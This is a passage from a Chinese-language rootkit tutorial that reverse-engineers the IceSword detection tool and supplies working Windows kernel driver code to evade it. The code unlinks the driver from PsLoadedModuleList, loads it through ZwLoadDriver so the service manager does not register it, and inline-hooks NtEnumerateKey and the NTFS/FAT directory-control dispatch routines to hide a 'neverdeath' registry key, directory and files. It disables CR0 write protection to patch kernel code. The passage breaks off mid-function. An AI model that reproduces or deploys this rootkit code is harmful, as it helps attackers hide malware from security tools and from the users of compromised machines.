    不知道pjf看到這里之后會(huì )不會(huì )想著(zhù)給IS升級,增加IS檢測隱藏內核模塊的功能,因此下面一并給出了如何在PsLoadedModuleList鏈表刪除自身的代碼,關(guān)于如何獲取PsLoadedModuleList這個(gè)內核變量的地址我就不說(shuō)了,不了解的請參看TK的《獲取Windows 系統的內核變量》。PsLoadedModuleList所指向的是結構是_MODULE_ENTRY,微軟沒(méi)有給出定義,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結構定義如下:
typedef struct _MODULE_ENTRY {
    LIST_ENTRY le_mod;
    DWORD  unknown[4];
    DWORD  base;
    DWORD  driver_start;
    DWORD  unk1;
    UNICODE_STRING driver_Path;
    UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;

進(jìn)一步分析后發(fā)現上述結構中的unk1成員的值其實(shí)就是該模塊文件的大小.從新對該結構定義如下:

typedef struct _MODULE_ENTRY {
    LIST_ENTRY le_mod;
    DWORD  unknown[4];
    DWORD  base;
    DWORD  driver_start;
    DWORD  Size;
    UNICODE_STRING driver_Path;
    UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;

    PsLoadedModuleList指向的是一個(gè)帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個(gè)MODULE_ENTRY的就是ntoskrnl.exe,此時(shí)它的base成員的值就是ntoskrnl.exe在內存中的起始地址.這是就可以順手取一下NtoskrnlBase的值。
    有一點(diǎn)要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系統不會(huì )把你加入到PsLoadedModuleList鏈表中,此時(shí)你在PsLoadedModuleList中是找不到自己的。當然為了這個(gè)而寫(xiě)一個(gè)分發(fā)例程也行。我是在自己hook的那些系統函數中設了一個(gè)閥值,閥值初始值為“開(kāi)”,這樣系統調用這個(gè)函數時(shí)都會(huì )先檢測閥值是否是“開(kāi)”,是的話(huà)跑到PsLoadedModuleList找一下我們的模塊是否存在,存在的話(huà)說(shuō)明DriverEntry()已經(jīng)返回成功,馬上把自己從PsLoadedModuleList鏈表中刪除,然后把閥值設成“關(guān)”,這樣系統下次調用這個(gè)函數時(shí)發(fā)現閥值是“關(guān)”的就不會(huì )傻乎乎的又跑到PsLoadedModuleList中去摟一遍了。

DWORD NtoskrnlBase=0;
DWORD PsLoadedModuleListPtr=0;

typedef struct _MODULE_ENTRY {

    LIST_ENTRY le_mod;
    DWORD  unknown[4];
    DWORD  base;
    DWORD  driver_start;
    DWORD  Size;
    UNICODE_STRING driver_Path;
    UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;

NTSTATUS GetPsLoadedModuleListPtr()
{
    UNICODE_STRING  UStrName;
    DWORD KdEnableDebuggerAddr;
    DWORD InitSystem=0;
    DWORD KdDebuggerDataBlock=0;
    PMODULE_ENTRY NtosModPtr;
    unsigned char * DebuggerDataBlockPtr;
    unsigned char * Sysinit;
    int i,j;
        
        RtlInitUnicodeString (
                    &UStrName,
                    L"KdEnableDebugger" );

        KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );                                                
        
        if ( !KdEnableDebuggerAddr )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
        
        for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
        {
            if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
            {
                _asm
                {
                    pushad
                    mov edi, Sysinit
                    mov eax, [edi+0x8]
                    add edi, 0xC
                    add edi, eax
                    mov InitSystem, edi
                    popad
                }
            }
            if ( InitSystem != 0) break;

        }

        if ( InitSystem == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
        
        for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
        {

            if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
            {
                DebuggerDataBlockPtr--;
                DebuggerDataBlockPtr--;

                for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
                {
                    if ( *DebuggerDataBlockPtr == 0x68 )
                    {
                        _asm
                        {
                            pushad
                            mov edi, DebuggerDataBlockPtr
                            inc edi
                            mov eax, [edi]
                            mov KdDebuggerDataBlock, eax
                            popad
                        }
                        break;
                    }
                }
                
            }

            if ( KdDebuggerDataBlock != 0 )
            {
                break;
            }
        }

        if ( KdDebuggerDataBlock == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }

        _asm
        {
            pushad
            mov edi, KdDebuggerDataBlock
            mov eax, [edi+0x48]
            mov PsLoadedModuleListPtr, eax
            popad
        }

        if ( PsLoadedModuleListPtr == 0 )
        {
            return STATUS_DEVICE_CONFIGURATION_ERROR;
        }
        
        //獲取 Ntoskrnl 的起始地址
        NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
        NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );  
        NtoskrnlBase = (DWORD) ( NtosModPtr->base );

        return STATUS_SUCCESS;

}

NTSTATUS RemoveModule ( )
{
    DWORD RemoveModleAddr;
    PMODULE_ENTRY PModPtr_Current;
    PMODULE_ENTRY PModPtr_Flink;
    PMODULE_ENTRY PModPtr_Blink;

            PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
            


            PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);

            //Get RemoveModle Addr

            RemoveModleAddr= DriverAddr;

            for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
            {
                if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
                {
                    PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
                    PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
                    PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
                    PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
                    IsDelModule=TRUE;
                    break;
                }
            }
            if ( IsDelModule != TRUE )
            {
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }
            return STATUS_SUCCESS;

}

    上面這兩個(gè)函數中,GetPsLoadedModuleListPtr()是通過(guò)特征碼搜索獲取KdDebuggerDataBlock的位置,使用特征碼搜索辦法雖然不是很好,但是通用性強。然后再以此獲取PsLoadedModuleList地址,RemoveModule()用來(lái)實(shí)現在PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。


五、隱藏服務(wù):

    普通情況下加載驅動(dòng)需要 OpenSCManager->CreateService->StartService,這樣驅動(dòng)就會(huì )跑到服務(wù)管理器中去注冊一下自己,并且要隱藏這樣加載驅動(dòng)的服務(wù),不是不行,只是太麻煩而且沒(méi)效率了。要hook一大堆的服務(wù)函數。不過(guò)在逆向IS的時(shí)候發(fā)現了一個(gè)不需要去服務(wù)管理器注冊而直接加載驅動(dòng)的方法。就是使用ZwLoadDriver(這個(gè)函數通常是ring0中加載驅動(dòng)時(shí)用,由于被Ntdll.dll導出,ring3就也能用了)進(jìn)行直接加載。這樣就不用去服務(wù)管理器中注冊自己,并且這樣加載的驅動(dòng)windows系統工具中的“系統信息”查看器也查不到你,更不用說(shuō)那些什么服務(wù)管理器之類(lèi)的東東了。屢用不爽。下面介紹一下用法:

    1、首先自己在注冊表的服務(wù)項中添加一個(gè)自己的服務(wù)名字項。
    2、在自己添加的服務(wù)名字項中添加一些驅動(dòng)信息(其實(shí)就是手工實(shí)現CreateService()函數對注冊表的那些操作),這些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工設置這些鍵以及鍵值。

按上面設置完后,來(lái)看看ZwLoadDriver的原形:

NTSTATUS
    ZwLoadDriver(
    IN PUNICODE_STRING DriverServiceName );

下面的代碼給出了ZwLoadDriver的使用例子:

AnotherWayStartService( TCHAR *szDir )
{
    HKEY RegKey;
    HKEY hLicenses;
    DWORD disp;
    DWORD ErrorControl=NULL;
    DWORD ProcessID;
    DWORD Start=3;
    DWORD Type=1;
    LONG Regrt;

    DWORD ZwLoadDriver;
    DWORD RtlInitUnicodeString;
    
    UNICODE_STRING RegService;

    PCWSTR    RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath";

    TCHAR    DriverFilePath[MAX_PATH] = "\\??\\";


        Regrt = RegOpenKeyEx (
                    HKEY_LOCAL_MACHINE,
                    "SYSTEM\\CurrentControlSet\\Services",
                    0,
                    KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
                    &hLicenses );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }

        Regrt=RegCreateKeyEx (
                    hLicenses,
                    "neverdeath",
                    0,
                    "",
                    REG_OPTION_NON_VOLATILE,
                    KEY_ALL_ACCESS,
                    NULL,
                    &RegKey,
                    &disp );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }

            Regrt = RegOpenKeyEx (
                        HKEY_LOCAL_MACHINE,
                        "SYSTEM\\CurrentControlSet\\Services\\neverdeath",
                        0,
                        KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
                        &RegKey );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }

        Regrt = RegSetValueEx (
                    RegKey,
                    "ErrorControl",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&ErrorControl),
                    4 );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
        
        strcat(DriverFilePath, szDir);

        Regrt = RegSetValueEx (
                    RegKey,
                    "ImagePath",
                    NULL,
                    REG_EXPAND_SZ,
                    (const unsigned char *)(&DriverFilePath),
                    strlen( DriverFilePath ) );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }


        Regrt = RegSetValueEx (
                    RegKey,
                    "Start",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&Start),
                    4 );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }
        
        Regrt = RegSetValueEx (        
                    RegKey,
                    "Type",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&Type),
                    4 );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }

        //還記得前面隱藏進(jìn)程時(shí),我們進(jìn)程ID是從注冊表中取的
        //下面就是把進(jìn)程ID寫(xiě)入注冊表,不會(huì )影響驅動(dòng)的加載

        ProcessID=GetCurrentProcessId();    

        Regrt = RegSetValueEx (
                    RegKey,
                    "ProcessID",
                    NULL,
                    REG_DWORD,
                    (const unsigned char *)(&ProcessID),
                    4 );

        if ( Regrt != ERROR_SUCCESS )
        {
            return false;
        }        
        
        CloseHandle( RegKey );


        ZwLoadDriver = (DWORD) GetProcAddress (
                            GetModuleHandle( "ntdll.dll" ),
                            "ZwLoadDriver" );

        RtlInitUnicodeString = (DWORD) GetProcAddress(
                                GetModuleHandle( "ntdll.dll" ),
                                "RtlInitUnicodeString" );
        
        _asm
        {
            pushad
            push RegServicePath
            lea edi, RegService
            push edi
            call RtlInitUnicodeString    //裝載UNICODE字符

            lea edi, RegService
            push edi
            call ZwLoadDriver    
            popad
        }

        return true;

}

請注意上面這段代碼中加載驅動(dòng)時(shí)所使用的注冊表路徑格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也許你已經(jīng)想到了那么卸載驅動(dòng)會(huì )不會(huì )就是函數“ZwUnloadDriver”?自己試一下不就知道了:)


六、隱藏注冊表:

    IS處理注冊表并沒(méi)有什么新意,就是調用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一類(lèi)的注冊表操作函數,通過(guò)偽造內核文件,所以這部分可以很輕松hook并實(shí)現隱藏。IS在這里玩了一個(gè)小花樣,在XP下,IS會(huì )在把從ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個(gè)字(注意是字,不是字節?。┫燃由?xD50后,再進(jìn)行還原,因此你在偽造內核文件時(shí)必須先把自己構造的代碼的第三個(gè)字減去0xD50后再寫(xiě)入到otoskrnl.exe中,否則就等著(zhù)BSOD吧。而在2K中就不需要這些操作。這里主要是通過(guò)hook注冊表函數NtEnumerateKey來(lái)隱藏我們注冊中的“CurrentControlSet\Services”下的 “neverdeath”項以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”項。至于隱藏鍵與鍵值在這里就不說(shuō)了,自己隨手寫(xiě)一個(gè)就是了。順便提一下,由于windows的regedit也是調用這些函數訪(fǎng)問(wèn)注冊表,所以如果你在IS中隱藏了注冊表也就等于在windows的regedit中隱藏了。以下代碼在XP下測試通過(guò),如要在2K或2K3中運行,請根據需要自己進(jìn)行取舍。
由于NtEnumerateKey沒(méi)有被ntoskrnl.exe導出,這里利用
NtEnumerateKey在服務(wù)表 偏移 = “NtDuplicateToken”在服務(wù)表中的偏移+2
來(lái)獲取NtEnumerateKey地址。

PCWSTR HideKey = L"neverdeath";
PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";

unsigned char ResumCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKeyWriteFile[6];

typedef NTSTATUS ( *NTENUMERATEKEY ) (
  IN HANDLE            KeyHandle,
  IN ULONG            Index,
  IN KEY_INFORMATION_CLASS  KeyInformationClass,
  OUT PVOID            KeyInformation,
  IN ULONG            Length,
  OUT PULONG        ResultLength );

NTENUMERATEKEY OldNtEnumerateKey;

typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; //Used only in checked build
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS NewNtEnumerateKey(

  IN HANDLE            KeyHandle,
  IN ULONG            Index,
  IN KEY_INFORMATION_CLASS  KeyInformationClass,
  OUT PVOID            KeyInformation,
  IN ULONG            Length,
  OUT PULONG        ResultLength )
{
    NTSTATUS Status;
    PCWSTR KeyNamePtr;


            _asm  //還原
            {
                pushad
                mov edi, OldNtEnumerateKey
                mov eax, dword ptr ResumCodeNtEnumerateKey[0]
                mov [edi], eax
                mov ax, word ptr ResumCodeNtEnumerateKey[4]
                mov [edi+4], ax
                popad
            }

            Status = ZwEnumerateKey (
                            KeyHandle,
                            Index,
                            KeyInformationClass,
                            KeyInformation,
                            Length,
                            ResultLength );
        
            
            if ( Status == STATUS_SUCCESS )
            {
                 _asm
                 {
                    push edi
                    mov edi, KeyInformation
                    add edi, 0x10
                    mov KeyNamePtr, edi
                    pop edi
                 }
                 if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )
                 {
                     Index=Index+1;
                     Status = OldNtEnumerateKey (
                                    KeyHandle,
                                    Index,
                                    KeyInformationClass,
                                    KeyInformation,
                                    Length,
                                    ResultLength );
                 }
            }
            
            _asm //替換
            {
                pushad
                mov edi, OldNtEnumerateKey
                mov eax, dword ptr CrackCodeNtEnumerateKey[0]
                mov [edi], eax
                mov ax, word ptr CrackCodeNtEnumerateKey[4]
                mov [edi+4], ax
                popad
            }
            return Status;

}
NTSTATUS GetOldNtEnumerateKey()
{
    DWORD NtDuplicateTokenAddr;
    int i=0;

            NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );

            if ( NtDuplicateTokenAddr == NULL )
            {
                DbgPrint("Get NtQuerySystemInformation Addr Error!!");
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            for (;;i++)
            {
                if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )
                {
                    OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));
                    break;
                }
            }
            return STATUS_SUCCESS;

}

NTSTATUS PatchNtEnumerateKey()
{
    NTSTATUS Status;
                                                                  

            Status = GetOldNtEnumerateKey();

            if ( Status != STATUS_SUCCESS )
            {
                DbgPrint("Get NtQuerySystemInformation Addr Error!!");
                return STATUS_DEVICE_CONFIGURATION_ERROR;
            }

            _asm    //關(guān)中斷
            {
                CLI            
                MOV    EAX, CR0    
                AND EAX, NOT 10000H  
                MOV    CR0, EAX        
            }

            _asm
            {
                pushad
                //獲取 NtEnumerateKey 函數的地址并保留該函數的起始六個(gè)字節
                mov edi, OldNtEnumerateKey
                mov eax, [edi]
                mov dword ptr ResumCodeNtEnumerateKey[0], eax
                mov ax, [edi+4]
                mov word  ptr ResumCodeNtEnumerateKey[4], ax
                
                //構造要替換的代碼,使得系統調用該函數時(shí)跳到我們構造的NewNtEnumerateKey去執行

                mov byte ptr CrackCodeNtEnumerateKey[0], 0x68
                mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68
                lea edi, NewNtEnumerateKey
                mov dword ptr CrackCodeNtEnumerateKey[1], edi
                mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi
                mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3
                mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3
    
                //把第NtEnumerateKey的第三個(gè)字減去D50在送回
                mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]
                sub ax, 0xD50
                mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax


                //把構造好的代碼進(jìn)行替換
                mov edi, OldNtEnumerateKey
                mov eax, dword ptr CrackCodeNtEnumerateKey[0]
                mov dword ptr[edi], eax
                mov ax, word ptr CrackCodeNtEnumerateKey[4]
                mov word ptr[edi+4], ax
                popad
            }

            _asm    //開(kāi)中斷
            {
                MOV    EAX, CR0      
                OR    EAX, 10000H            
                MOV    CR0, EAX            
                STI                    
            }

            Status = RepairNtosFile(
                            (DWORD)OldNtEnumerateKey,
                            //(DWORD)(&CrackCodeNtEnumerateKey) 2k
                            (DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP
            return Status;

}


7、隱藏文件:

    終于寫(xiě)到隱藏文件,在實(shí)現隱藏文件的過(guò)程中,越來(lái)越欣賞PJF。IS在獲取文件列表的過(guò)程時(shí),迂回戰術(shù)簡(jiǎn)直玩到了另人匪夷所思的地步!我花了很多時(shí)間(好幾次坐在機子面前十幾個(gè)小時(shí)想的腦袋都綠了卻一點(diǎn)收獲都沒(méi)有)才實(shí)現了不用IFS,不用attach文件設備直接而進(jìn)行隱藏,當時(shí)我甚至去hook函數IoCallDriver函數(經(jīng)??吹接行┤薶ook這個(gè)函數失敗,便造謠此函數不能hook,其實(shí)是可以的,但是確實(shí)很麻煩,如果你也想試試,為了讓你少走彎路,好意提醒一下,請盡最大努力保護好寄存器?。﹣?lái)截獲系統所有的IRP包,然后分析,真是差點(diǎn)沒(méi)把我搞死!
    普通情況下,我們是通過(guò)發(fā)送IRP_MJ_DIRECTORY_CONTROL(0xC)請求給FSD來(lái)獲取文件列表的。獲取后的信息存在IRP->UserBuffer(0x3c)中。但是你會(huì )發(fā)現IS在獲取文件列表時(shí)并不發(fā)送IRP_MJ_DIRECTORY_CONTROL給FSD,而是發(fā)送IRP_MJ_DEVICE_CONTROL(0xE)請求給另外一個(gè)不知名設備。并且在該被請求完成后,你在完成的IRP數據中找不到任何有關(guān)文件名字的影子?;蛟S你便開(kāi)始點(diǎn)一只煙,盯著(zhù)屏幕直發(fā)楞,直想:“這怎么可能呢?”(呵呵,也許pjf要的就是這種效果)。

    邪惡的微軟總是想方設法的企圖蒙蔽我們,讓我們忽略本質(zhì)!內核里面的那些什么對象啊、設備啊、這個(gè)啊、那個(gè)啊、所有亂七八糟的東東,從本質(zhì)上來(lái)講還不都是一堆代碼與數據。IS不發(fā)送IRP_MJ_DIRECTORY_CONTROL請求不代表它不會(huì )調用這個(gè)例程。

    我對IS獲取文件列表的猜想(IS的anti Debug太強, 為了今年之內把這個(gè)搞定,因此沒(méi)時(shí)間再陪它耗下去了):

    單獨創(chuàng )造一個(gè)Device,這個(gè)Device的IRP_MJ_DEVICE_CONTROL例程中構造IRP與DEVICE_OBJECT后,直接調用IRP_MJ_DIRECTORY_CONTROL例程,這樣就避免了向文件設備發(fā)送請求但是還能獲取文件列表的目的了。關(guān)于在完成后的IRP包中無(wú)法獲取文件名的功能,其實(shí)只要在直接調用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的內容轉移或加個(gè)密就輕易實(shí)現了。

    雖然這只是猜想,但是為了驗證我的想法。我單獨寫(xiě)了個(gè)test證明我的想法是可行的。我不能確定IS就是這樣做,但我能確定如果你這樣做的話(huà)就能達到類(lèi)似的效果。

    IS就是通過(guò)設置IO_COMPLETION_ROUTINE函數來(lái)第一時(shí)間處理完成后的結果,我們下面用的方法就是通過(guò)替換這個(gè)IO_COMPLETION_ROUTINE來(lái)?yè)屜忍幚斫Y果。我們處理完了再調用IS的IO_COMPLETION_ROUTINE函數。另外要說(shuō)的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一個(gè)文件名(哪怕已重復出現)。而你在自己的IO_COMPLETION_ROUTINE中如果檢測到是自己要隱藏的文件名的話(huà),不能不調用原先IS的IO_COMPLETION_ROUTINE,否則BSOD。因此你只能更改文件屬性了,更改文件屬性也能達到隱藏的目的。還記不記的以前DOS時(shí)代的[.]與[..]文件夾嗎(那片笑聲讓我想起我的那些文件夾)。當返回你要隱藏的文件時(shí)信息,把這些信息全都替換成[.]或[..]文件夾屬性(當然包括文件名信息了)就行了。

    下面的代碼先獲取FSD設備的IRP_MJ_DIRECTORY_CONTROL分派函數的地址,然后對該函數進(jìn)行hook。在我們構造的新的IRP_MJ_DIRECTORY_CONTROL分派函數中通過(guò)IO_STACK_LOCATION中的Length(+0x4)數值來(lái)判斷是否時(shí)IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的話(huà)就進(jìn)行替換IO_COMPLETION_ROUTINE。

    下的代碼在FAT32、NTFS、NTFS&FAT32中測試通過(guò),在純Fat中也測試通過(guò)。

PCWSTR    HideDirectory =L"neverdeath";
PCWSTR    HideFile = L"otoskrnl.exe";

DWORD NtfsUserbuf;
DWORD NtfsFileName;
DWORD NtfsLocaIrp;

DWORD FatUserbuf;
DWORD FatFileName;
DWORD FatLocaIrp;

typedef NTSTATUS  (*_DISPATCH)
(
  IN PDEVICE_OBJECT  DeviceObject,
  IN OUT PIRP        Irp
);

_DISPATCH OldNtfsQueryDirectoryDispatch;
_DISPATCH OldFatQueryDirectoryDispatch;

PIO_COMPLETION_ROUTINE    OldNtfsCompletionRuntine;
PIO_COMPLETION_ROUTINE  OldFatCompletionRuntine;

NTSTATUS NewNtfsCompletionRuntine(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    IN PVOID Context )
{
    NTSTATUS Status;

                _asm
                {
                    pushad
                    mov edi, NtfsUserbuf
                    add edi, 0x5e
                    mov NtfsFileName, edi
                    popad
                }
                if ( wcsstr( NtfsFileName, HideDirectory ) ||  wcsstr( NtfsFileName, HideFile ) )
                {
                    _asm
                    {
                        pushad
                        mov edi,NtfsUserbuf
                        mov eax, 0x16
                        mov dword ptr [edi+0x38], eax
                        mov eax, 0x04
                        mov dword ptr [edi+0x3c], eax
                        mov eax, 0x002e002e
                        mov dword ptr [edi+0x5e], eax
                        popad
                    }
                }
                Status = OldNtfsCompletionRuntine (
                                    DeviceObject,
                                    Irp,
                                    Context );                
                return Status;
                
}

NTSTATUS NewFatCompletionRuntine(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    IN PVOID Context )
{
    NTSTATUS Status;

                _asm
                {
                    pushad
                    mov edi, FatUserbuf
                    add edi, 0x5e
                    mov FatFileName, edi
                    popad
                }
                if ( wcsstr( FatFileName, HideDirectory ) ||  wcsstr( FatFileName, HideFile ) )
                {
                    _asm
                    {
                        pushad
                        mov edi,FatUserbuf
                        mov eax, 0x16
                        mov dword ptr [edi+0x38], eax
                        mov eax, 0x04
                        mov dword ptr [edi+0x3c], eax
                        mov eax, 0x002e002e
                        mov dword ptr [edi+0x5e], eax
                        popad
                    }
                }
                Status = OldFatCompletionRuntine (
                                    DeviceObject,
                                    Irp,
                                    Context );                
                return Status;
                
}

NTSTATUS NewNtfsQueryDirectoryDispatch (
  IN PDEVICE_OBJECT  DeviceObject,
  IN OUT PIRP        Irp )
{
    NTSTATUS    Status;
    DWORD        QueryFile;


                _asm
                {
                    pushad
                    mov edi, OldNtfsQueryDirectoryDispatch
                    mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]
                    mov [edi], eax
                    mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]
                    mov [edi+4], ax
                    popad
                }

                _asm
                {
                    pushad
                    mov edi, Irp
                    mov eax, [edi+0x60]
                    mov ecx, [edi+0x3c]
                    mov edi, [eax+4]
                    mov QueryFile, edi
                    mov NtfsUserbuf, ecx
                    mov NtfsLocaIrp, eax
                    popad
                }

                if ( QueryFile == 0xfe8 )
                {
                    _asm
                    {
                        pushad
                        mov edi, NtfsLocaIrp
                        mov eax, [edi+0x1c]
                        mov OldNtfsCompletionRuntine, eax
                        lea eax, NewNtfsCompletionRuntine
                        mov [edi+0x1c], eax
                        popad
                    }                
                }


                Status = OldNtfsQueryDirectoryDispatch (
                                        DeviceObject,
                                        Irp );

                _asm
                {
                    pushad
                    mov edi, OldNtfsQueryDirectoryDispatch
                    mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
                    mov [edi], eax
                    mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
                    mov [edi+4], ax
                    popad
                }
                return Status;
}


NTSTATUS NewFatQueryDirectoryDispatch (
  IN PDEVICE_OBJECT  DeviceObject,
  IN OUT PIRP        Irp )
{
    NTSTATUS    Status;
    DWORD        QueryFile;


                _asm
                {
                    pushad
                    mov edi, OldFatQueryDirectoryDispatch
                    mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]
                    mov [edi], eax
                    mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]
                    mov [edi+4], ax
                    popad
                }

                _asm
                {
                    pushad
                    mov edi, Irp
                    mov eax, [edi+0x60]
                    mov ecx, [edi+0x3c]
                    mov edi, [eax+4]
                    mov QueryFile, edi
                    mov FatUserbuf, ecx
                    mov FatLocaIrp, eax
                    popad
                }

                if ( QueryFile == 0xfe8 )
                {
                    _asm
                    {
                        pushad
                        mov edi, FatLocaIrp
                        mov eax, [edi+0x1c]
                        mov OldFatCompletionRuntine, eax
                        lea eax, NewFatCompletionRuntine
                        mov [edi+0x1c], eax
                        popad
                    }                
                }


                Status = OldFatQueryDirectoryDispatch  (
                                        DeviceObject,
                                        Irp );

                _asm
                {
                    pushad
                    mov edi, OldFatQueryDirectoryDispatch
                    mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
                    mov [edi], eax
                    mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
                    mov [edi+4], ax
                    popad
                }
                return Status;
}

NTSTATUS PatchFileSystemDevicePatDispatch()
{
    NTSTATUS NtfsStatus;
    NTSTATUS FastFatStatus;
    UNICODE_STRING FileSystemName;
    PVOID FileDeviceObject;
    POBJECT_TYPE ObjectType;
    
        DbgPrint("My Driver Loaded!");

        RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Ntfs" );

        NtfsStatus = ObReferenceObjectByName  (  
                                &FileSystemName,  
                                0x40,  
                                NULL,  
                                NULL,  
                                &ObjectType,  
                                NULL,  
                                NULL,  
                                &FileDeviceObject );
        if  ( NtfsStatus == STATUS_SUCCESS )
        {

            _asm
        {
            pushad
            mov edi, FileDeviceObject
            mov eax, [edi+0x68]
            mov OldNtfsQueryDirectoryDispatch, eax
            popad
        }

    
            _asm
        {
            CLI                  
            MOV    EAX, CR0      
            AND EAX, NOT 10000H
            MOV    CR0, EAX      
        }

              _asm
        {
            pushad
            mov edi, OldNtfsQueryDirectoryDispatch
            mov eax, [edi]
            mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax
            mov ax, [edi+4]
            mov word  ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax
            
            mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68
            lea edi, NewNtfsQueryDirectoryDispatch
            mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi
            mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3

            mov edi, OldNtfsQueryDirectoryDispatch
            mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
            mov dword ptr[edi], eax
            mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
            mov word ptr[edi+4], ax
            popad
        }


            _asm
        {
            MOV    EAX, CR0      
            OR    EAX, 10000H          
            MOV    CR0, EAX              
            STI                  
        }
        }


        RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Fastfat" );

        FastFatStatus = ObReferenceObjectByName (  
                                &FileSystemName,  
                                0x40,  
                                NULL,  
                                NULL,  
                                &ObjectType,  
                                NULL,  
                                NULL,  
                                &FileDeviceObject );
        if ( FastFatStatus == STATUS_SUCCESS )
        {
            _asm
        {
            pushad
            mov edi, FileDeviceObject
